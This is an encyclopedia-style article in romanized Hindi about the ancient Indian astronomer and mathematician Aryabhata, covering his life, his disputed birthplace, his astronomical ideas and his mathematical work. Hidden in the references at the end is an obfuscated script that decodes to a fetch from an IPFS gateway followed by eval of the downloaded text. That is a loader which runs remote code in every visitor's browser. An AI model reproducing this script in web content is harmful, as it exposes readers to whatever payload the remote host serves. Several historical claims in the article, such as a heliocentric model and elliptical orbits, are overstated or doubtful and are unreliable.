आर्यभट
| chitr:Disamb2.jpg aryabhatt | ek bahuvikalpi shabd hai any arthoan ke lie dekhean:- aryabhatt (bahuvikalpi) |
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aryabhat
| |
| poora nam | aryabhat |
| janm | 476 ee. |
| mrityu | 550 ee. |
| karm bhoomi | bharat |
| karm-kshetr | jyotishavidh aur ganitajn |
| mukhy rachanaean | 'aryabhatiy', 'aryabhat siddhaant' |
| vidyalay | nalanda vishvavidyalay |
| vishesh yogadan | bijaganit mean bhi sabase purana granth aryabhat ka hai. unhoanne sabase pahale 'paee' (p) ki kimat nishchit ki aur unhoanne hi sabase pahale 'sain' (SINE) ke 'koshtak' die. ganit ke jatil prashnoan ko saralata se hal karane ke lie unhoanne hi samikaranoan ka avishkar kiya, jo poore vishv mean prakhyat hua. ek ke bad gyarah, shoony jaisi sankhyaoan ko bolane ke lie unhoanne nee paddhati ka avishkar kiya. |
| nagarikata | bharatiy |
| any janakari | khagol aur ganitashastr, in donoan kshetr mean aryabhat ke mahattvapoorn yogadan ke smaranarth bharat ke pratham upagrah ka nam aryabhat rakha gaya tha. |
aryabhat (aangrezi: Aryabhata, janm: 476 ee. - mrityu: 550 ee.) prachin bharat ke ek mahan jyotishavidh aur ganitajn the. inhoanne 'aryabhatiy' granth ki rachana ki jisamean jyotishashastr ke anek siddhaantoan ka pratipadan hai. prachin kal ke jyotirvidoan mean aryabhat, varahamihir, brahmagupt, aryabhat dvitiy, bhaskarachary, kamalakar jaise prasiddh vidvanoan ka is kshetr mean amooly yogadan hai. in sabhi mean aryabhat sarvadhik prakhyat haian. ve gupt kal ke pramukh jyotirvid the. nalanda vishvavidyalay mean unhoanne shiksha prapt ki thi. 23 varsh ki ayu mean aryabhat ne 'aryabhatiy granth' likha tha. unake is granth ko charoan or se svikriti mili thi, jisase prabhavit hokar raja buddhagupt ne aryabhat ko nalanda vishvavidyalay ka pramukh bana diya.
aryabhatt nahian, aryabhat
prachin bharat ke is mahan vaijnanik ka sahi nam aryabhat hai n ki aryabhatt. 'bhat' shabd ka vastavik arth hai- yoddha, sainik. aur 'bhatt' ka paranparagat arth hai- 'bhat' ya pandit (brahman). aryabhat brahman bhale hi rahe hoan, bhat katee nahian the. ve sahi arth mean ek 'vaijnanik yoddha' the. unhoanne vedoan aur dharmagranthoan ki galat manyataoan ka datakar virodh kiya. aryabhat ka keval ek hi granth aryabhatiy vartaman mean upalabdh hai. unaka doosara granth 'aryabhat siddhaant' abhi tak prapt nahian hua. aryabhat ne apane nam aur sthan ke bare mean svayan janakari di hai- “aryabhat is kusumapur nagar mean atishay poojit jnan ka varnan karata hai.” aryabhat ne yahaan aur anyatr kahian par bhi, yah nahian kaha ki unaka janm kusumapur mean hua. unhoanne keval itana bataya hai ki apane jnan ka pratipadan (granth ki rachana) kusumapur mean kar rahe haian.
yah bhi nishchit nahian ki aryabhat ka kusumapur prachin pataliputr (ab patana) hi ho. prachin bharat mean kusumapur nam ke aur bhi kee nagar the. kanyakubj (kannauj) ko bhi kusumapur kahate the. aryabhat ke dakshinaty hone ki jyada sanbhavana hai. unake pramukh bhashyakar bhaskar-pratham (629 ee.) ne unhean ‘ashmak’, unake ‘aryabhatiy’ granth ko ‘ashmakatantr’ v ‘ashmakiy’ aur unake anuyayiyoan ko ‘ashmakiya’ kaha hai. ek any bhashyakar nilakanth (1300 ee.) ne aryabhat ko ‘ashmakajanapadajat’ kaha hai. godavari nadi ke tat ke asapas ka pradesh 'ashmak janapad' kahalata tha. jyada sanbhavana yahi hai ki aryabhat dakshin bharat mean paida hue the aur jnanarjan ke lie uttar bharat mean kusumapur pahuanche the.[1]
jivan parichay
aryabhat prachin bharat ke ek mahan jyotishavidh aur ganitajn the. inhoanne aryabhatiy granth ki rachana ki jisamean jyotishashastr ke anek siddhaantoan ka pratipadan hai. isi granth mean inhoanne apana janmasthan kusumapur aur janmakal shak sanvath 398 likha hai. bihar mean vartaman patana ka prachin nam kusumapur tha lekin aryabhat ka kusumapur dakshin mean tha, yah ab lagabhag siddh ho chuka hai. ek any manyata ke anusar unaka janm maharashtr ke ashmak desh mean hua tha. unake vaijnanik karyoan ka samadar rajadhani mean hi ho sakata tha. atah unhoanne lambi yatra karake adhunik patana ke samip kusumapur mean avasthit hokar rajasannidhy mean apani rachanaean poorn ki. yadyapi aryabhat ke janm ke varsh ka aryabhatiy mean spasht ullekh hai, unake janm ke vastavik sthan ke bare mean vivad hai. kuchh manate haian ki ve narmada aur godavari ke madhy sthit kshetr mean paida hue the, jise ashmaka ke roop mean jana jata tha aur ve ashmaka ki pahachan madhy bharat se karate haian jisame maharashtr aur madhy pradesh shamil hai, halaanki aranbhik bauddh granth ashmaka ko dakshin mean, dakshinapath ya dakkhan ke roop mean varnit karate haian, jabaki any granth varnit karate haian ki ashmaka ke log alekjeandar se l de hoange, is hisab se ashmaka ko uttar ki taraph aur age hona chahie.[2]
aryabhat ka yogadan
prithvi gol hai aur apani dhuri par ghoomati hai, jisake karan rat aur din hote haian, is siddhaant ko sabhi janate haian, par is vastavikata se bahut log parichit hoange ki 'nikolas k aauparanikas' ke bahut pahale hi aryabhat ne yah khoj kar li thi ki prithvi gol hai aur usaki paridhi anumanat: 24835 mil hai. rahu namak grah soory aur chandrama ko nigal jata hai, jisase soory aur chandr grahan hote haian, hindoo dharm ki is manyata ko aryabhat ne galat siddh kiya. chandr grahan mean chandrama aur soory ke bich prithvi ke a jane se aur usaki chhaya chandrama par p dane se 'chandragrahan' hota hai, yah karan unhoanne khoj nikala. aryabhat ko yah bhi pata tha ki chandrama aur doosare grah svayan prakashaman nahian haian, balki soory ki kiranean usamean pratibianbit hoti haian aur yah bhi ki prithvi tatha any grah soory ke charoan or vrittakar ghoomate haian. unhoanne yah bhi bataya ki 'chandrama' kala hai aur vah soory ke prakash se hi prakashit hota hai. aryabhat ne yah siddh kiya ki varsh mean 366 din nahian varanh 365.2951 din hote haian. aryabhat ke 'b aaulis siddhaant' (soory chandrama grahan ke siddhaant) 'romak siddhaant' aur soory siddhaant vishesh roop se mahattvapoorn haian. aryabhat dvara nishchit kiya 'varshaman' 't aaulami' ki tulana mean adhik vaijnanik hai.
ganit mean yogadan
vishv ganit ke itihas mean bhi aryabhat ka nam suprasiddh hai. khagolashastri hone ke sath sath ganit ke kshetr mean bhi unaka yogadan bahumooly hai. bijaganit mean bhi sabase purana granth aryabhat ka hai. unhoanne sabase pahale 'paee' (p) ki kimat nishchit ki aur unhoanne hi sabase pahale 'sain' (SINE) ke 'koshtak' die. ganit ke jatil prashnoan ko saralata se hal karane ke lie unhoanne hi samikaranoan ka avishkar kiya, jo poore vishv mean prakhyat hua. ek ke bad gyarah, shoony jaisi sankhyaoan ko bolane ke lie unhoanne nee paddhati ka avishkar kiya. bijaganit mean unhoanne kee sanshodhan sanvardhan kie aur ganit jyotish ka 'ary siddhaant' prachalit kiya.
vriddhavastha mean aryabhat ne 'aryabhat siddhaant' namak granth ki rachana ki. unake 'dashagiti sootr' granthoan ko pra. karne ne 'aryabhatiy' nam se prakashit kiya. aryabhatiy sanpoorn granth hai. is granth mean rekhaganit, vargamool, ghanamool, jaisi ganit ki kee batoan ke alava khagol shastr ki gananaean aur aantariksh se sanbandhit batoan ka bhi samavesh hai. aj bhi 'hindoo panchaang' taiyar karane mean is granth ki madad li jati hai. aryabhat ke bad isi nam ka ek any khagolashastri hua jisaka nam 'laghu aryabhat' tha. khagol aur ganitashastr, in donoan kshetr mean unake mahattvapoorn yogadan ke smaranarth bharat ke pratham upagrah ka nam aryabhat rakha gaya tha.
shoony ki khoj
shoony (0) ki mahan khoj ne aryabhat ka nam itihas mean amar kar diya. jisake bina ganit ki kalpana karana bhi mushkil hai. aryabhat ne hi sabase pahale sthaniy man paddhati ki vyakhya ki. unhoanne hi sabase pahale udaharan ke sath bataya ki hamari prithvi apani dhuri par ghoomate hue sooraj ki parikrama karati hai aur chandrama prithvi ka upagrah hai jo prithvi ki parikrama karata hai. unaka manana tha ki sabhi grahoan ki kaksha dirgh vrittakar hai. unhone bataya ki chandrama ka prakash sooraj ka hi paravartan hai. [2]
tathy
- 'aryabhatiy' namak granth ki rachana karane vale aryabhat apane samay ke sabase b de ganitajn the.
- aryabhat ne dashamalav pranali ka vikas kiya.
- aryabhat ke prayasoan ke dvara hi khagol vijnan ko ganit se alag kiya ja saka.
- aryabhat aise pratham nakshatr vaijnanik the, jinhoanne yah bataya ki prithvi apani dhuri par ghoomati huee soory ke chakkar lagati hai. inhoanne sooryagrahan evan chandragrahan hone ke vastavik karan par prakash dala.
- aryabhat ne soory siddhant likha.
- aryabhat ke siddhant par 'bhaskar pratham' ne tika likhi. bhaskar ke tin any mahattvapoorn granth hai- ‘mahabhaskary‘, ‘laghubhaskary‘ evan ‘bhashy‘.
- brahmagupt ne ‘brahm-siddhant‘ ki rachana kar bataya ki ‘prakriti ke niyam ke anusar samast vastuean prithvi par girati haian, kyoanki prithvi apane svabhav se hi sabhi vastuoan ko apani or akarshit karati hai. yah nyootan ke sidvant ke poorv ki gayi kalpana hai.
- aryabhat, varahamihir evan brahmagupt ko sansar ke sarvapratham nakshatr-vaijnanik aur ganitajn kaha gaya hai.
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tika tippani aur sandarbh
bharatiy sanskriti ke sarjak, pej n. (65)
- ↑ pustak- bharat:itihas, sanskriti aur vijnan | lekhak- gunakar mule | prishth sankhya- 426
- ↑ 2.0 2.1 aryabhat jivani (hiandi) jivani d aaut aaurg. abhigaman tithi: 18 march, 2018.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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varnamala kramanusar lekh khoj
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